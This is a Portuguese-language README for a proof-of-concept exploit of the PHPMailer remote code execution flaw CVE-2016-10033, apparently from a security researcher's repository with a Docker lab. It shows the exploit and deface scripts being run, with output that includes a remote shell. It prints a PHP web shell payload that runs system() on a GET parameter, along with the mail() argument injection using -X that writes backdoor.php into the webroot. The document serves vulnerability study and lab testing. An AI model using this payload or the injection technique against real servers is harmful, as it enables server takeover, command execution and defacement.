
PHPMailer < 5.2.18 Execução Remota de Código
PHPMailer é a classe de transporte mais popular do mundo, com uma estimativa de 9 milhões de usuários mundialmente. Os downloads continuam em um ritmo significativo diariamente. Usado por muitos projetos de código aberto: WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! e muitos mais
PHPMailer anterior à versão 5.2.18 sofre de uma vulnerabilidade que pode levar à execução remota de código (RCE). A função mailSend no transporte isMail do PHPMailer, quando a propriedade Sender não está definida, pode permitir que atacantes remotos passem parâmetros extras para o comando mail e, consequentemente, executem código arbitrário por meio de uma " (barra invertida e aspas duplas) em um endereço From manipulado.
Para configurar um ambiente vulnerável para seu teste, você precisará ter o Docker instalado e apenas executar o seguinte comando:
docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033
E ele criará uma aplicação web vulnerável em seu host na porta 8080

Para explorar este alvo, basta executar:
./exploit host:port
Se você estiver usando esta imagem vulnerável, pode executar:
./exploit localhost:8080
Após a exploração, um arquivo chamado backdoor.php será armazenado na pasta raiz do diretório web. E o exploit lhe fornecerá um shell onde você pode enviar comandos para o backdoor:
./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell>
E é isso, você tem seu shell. Existe outro exploit, que ilustra outro caso de uso.
./deface.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Placing your message in the server
[+] Job done, exiting
E se você visitar a página novamente, verá isto:

Antes deste commit em class.phpmailer.php, em um determinado cenário, não há filtro nos caracteres especiais do endereço de e-mail do remetente. Essa falha pode levar à execução remota de código, através da função mail aqui.
Analisando o código, não há filtro na função mailSend()
$params = null;
//This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
if (!empty($this->Sender)) {
$params = sprintf('-f%s', $this->Sender);
}
$this->Sender é diretamente anexado à variável $params, que foi filtrada na função validateAddress(), mas como ela usa a especificação RFC 3696, permite certos caracteres que podem quebrar as coisas.
Neste caso, aspas:
Além de usar aspas com o caractere de barra invertida, caracteres de aspas duplas convencionais podem ser usados para envolver strings. Por exemplo
"Abc@def"@example.com
"Fred Bloggs"@example.com
são formas alternativas dos dois primeiros exemplos acima. Essas formas entre aspas são raramente recomendadas e são incomuns na prática, mas, como discutido acima, devem ser suportadas por aplicações que processam endereços de e-mail. Em particular, as formas entre aspas frequentemente aparecem no contexto de endereços associados a transições de outros sistemas e contextos; esses requisitos de transição ainda surgem e, como um sistema que aceita um endereço de e-mail fornecido pelo usuário não pode "saber" se esse endereço está associado a um sistema legado, as formas de endereço devem ser aceitas e passadas para o ambiente de e-mail.
Você pode ler a RFC completa aqui se quiser. Mas também, se a versão do PHP for inferior a 5.2.0 e não houver PCRE instalado, a variável $patternselect em validateAddress() será definida como noregex. Isso fará com que a entrada possa evitar qualquer verificação de regex. Ela passará apenas por uma pequena verificação:
case 'noregex':
//No PCRE! Do something _very_ approximate!
//Check the address is 3 chars or longer and contains an @ that's not the first or last char
return (strlen($address) >= 3
and strpos($address, '@') >= 1
and strpos($address, '@') != strlen($address) - 1);
Em seguida, o fluxo do código vai para a função mailPassthru(), que, se estiver rodando em safe_mode, não será vulnerável a esta falha, conforme o código a seguir afirma
//Can't use additional_parameters in safe_mode
//@link http://php.net/manual/en/function.mail.php
if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
$result = @mail($to, $subject, $body, $header);
} else {
$result = @mail($to, $subject, $body, $header, $params);
}
Mas, se não estiver rodando em safe_mode, então nosso parâmetro especial será passado para mail() e, se tivermos sorte, ele pegará nosso arquivo contendo o que quisermos que seja escrito onde escolhermos que seja escrito.
A exploração da função mail() do PHP não é novidade, mas ainda está viva e as pessoas ainda a usam. Para explicar como funciona, vamos ver como a função mail() é definida:
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )
Existem vários métodos de exploração para diferentes resultados, vamos focar na exploração do 5º parâmetro para obter Execução Remota de Código (RCE). O parâmetro $additional_parameters é usado para passar flags adicionais como opções de linha de comando para o programa configurado para enviar o e-mail. Essa configuração é definida pela variável sendmail_path.
Uma nota de segurança da documentação oficial do PHP:
O parâmetro additional_parameters pode ser usado para passar flags adicionais como opções de linha de comando para o programa configurado para ser usado ao enviar e-mail, conforme definido pela configuração sendmail_path. Por exemplo, isso pode ser usado para definir o endereço do envelope do remetente ao usar sendmail com a opção -f sendmiail.
Este parâmetro é escapado internamente por escapeshellcmd() para evitar execução de comandos. escapeshellcmd() evita execução de comandos, mas permite adicionar parâmetros adicionais. Por razões de segurança, é recomendado que o usuário sanitize este parâmetro para evitar adicionar parâmetros indesejados ao comando shell.
Considerando os parâmetros adicionais que podem ser injetados, usaremos -X para explorar esta falha. Mais sobre o parâmetro -X:
-X arquivo_de_log
Registra todo o tráfego de entrada e saída dos mailers no arquivo de log indicado. Isso deve ser usado apenas como último recurso para depuração de bugs do mailer. Ele registrará muitos dados muito rapidamente.
Existem também alguns outros parâmetros interessantes que você deve saber que existem:
-Cfile
Usa um arquivo de configuração alternativo. Sendmail renuncia a quaisquer privilégios aprimorados (set-user-ID ou set-group-ID) se um arquivo de configuração alternativo for especificado.
E
-O option=value
Define a opção option para o valor especificado. Este formulário usa nomes longos.
E para a opção -O, o QueueDirectory é a opção mais interessante, esta opção seleciona o diretório no qual enfileirar mensagens.
Se você quiser ler a lista completa de parâmetros e opções, execute man sendmail ou leia online aqui
Com base nesta informação e na capacidade de controlar pelo menos um dos outros parâmetros, podemos explorar o host. Abaixo estão os passos para uma exploração bem-sucedida:
$additional_parameters e outro parâmetro de mail()webroot (também conhecido como /var/www/html para outros sistemas, /www para este exemplo)system() neste exemplo, com um toque de base64 e alguns caracteres especiais | para facilitar a análise.Lembre-se de que a opção -X escreverá o arquivo de log, que conterá, entre as informações de log, seu payload PHP, no diretório que você informar. Um exemplo de código PHP vulnerável:
$to = '[email protected]';
$subject = '<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>';
$message = 'Pwned';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/www/backdoor.php';
mail($to, $subject, $message, $headers, $options);
Se você executar o código acima, ele criará um arquivo de log em /www/backdoor.php, essa é a essência deste exploit.
Abaixo o payload usado neste exemplo
<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>
Quer uma maneira fácil, de um comando, para tentar identificar esta falha? Lembre-se deste comando grep mágico!
grep -r -n --include "*.php" "mail(.*,.*,.*,.*,.*)" *
Executá-lo contra este repositório resultará em
src/class.phpmailer.php:700: $result = @mail($to, $subject, $body, $header, $params);
Esta vulnerabilidade foi encontrada por Dawid Golunski.
Este programa ou o anterior é APENAS para fins educacionais. Não o use sem permissão. O aviso legal usual se aplica, especialmente o fato de que eu (opsxcq) não sou responsável por quaisquer danos causados pelo uso direto ou indireto das informações ou funcionalidades fornecidas por estes programas. O autor ou qualquer provedor de Internet NÃO assume responsabilidade pelo conteúdo ou uso indevido destes programas ou quaisquer derivados. Ao usar estes programas, você aceita o fato de que qualquer dano (perda de dados, falha do sistema, comprometimento do sistema, etc.) causado pelo uso destes programas não é de responsabilidade do opsxcq.